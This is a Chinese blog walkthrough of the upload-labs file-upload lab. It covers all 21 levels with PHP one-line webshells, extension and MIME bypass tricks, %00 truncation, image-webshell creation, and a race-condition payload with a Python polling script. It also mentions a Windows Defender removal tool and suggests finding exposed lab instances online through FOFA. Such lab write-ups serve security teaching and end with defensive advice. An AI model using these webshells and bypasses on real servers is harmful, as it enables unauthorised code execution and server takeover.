首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
1
篇与
的结果
2025-05-18
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
不多废话,直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞?环境靶场:upload-labs服务器:centos7数据库:mysql5.7php:5.5nginx:1.24在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。注意:移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs(1-21关)第一关(前端验证)由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马,php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。上传成功。使用中国蚁剑测试,连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关(MIME验证)使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可上传成功第三关(黑名单验证,特殊后缀)将文件后缀修改为php1,php2即可不过需要注意,上传成功后文件名称改变了第四关(黑名单验证,.htaccess)通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁,over!第五关(黑名单验证,.user.ini.)和第四关一样php. .第六关(黑名单验证,大小写绕过)这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后,就会自动解析为.注意上传成功后的真实的文件地址。第七关(黑名单验证,空格绕过)仔细分析源代码,容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "上传成功第八关(黑名单验证,点号绕过)这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。第九关(黑名单验证,特殊字符::$DATA绕过)php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关(黑名单)分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }第十一关(黑名单验证,双写绕过)str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。上传成功第十二关(get00截断)这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。第十三关(post 00截断)使用00截断的几个前提条件:PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关(图片马unpack)源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg,发现合并成功。上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。出现如下错误问题显示在行8,我们去查看一下第八行是什么内容。<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件文件包含执行成功,此时即可使用中国蚂蚁连接第十五关(getimagesize图片马)分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell第十六关(exif_imagetype图片马)分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。第十七关(二次渲染绕过)在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取百度网盘提取码:1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关(条件竞争一)查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组,用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件,移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称,为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder清除所有的payload提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。接着设置无限发送空的Payloads,来让它一直上传该文件最后建议这里把线程设置高一点,提高练习渗透效率然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。测试连接,over!第十九关(条件竞争二)上传GIF测试发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关(黑名单)有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试,over!第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL,多了个jpg那么我们使用第二个数组呢,岂不是就变为xxx.php.了查看上传成功的URL上传成功!总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。防御措施包括:隐藏上传文件路径,避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件,降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容,确保安全。根据系统特性,定制化安全防护策略。欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢阅读!原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
2025年05月18日
1,455 阅读
0 评论
0 点赞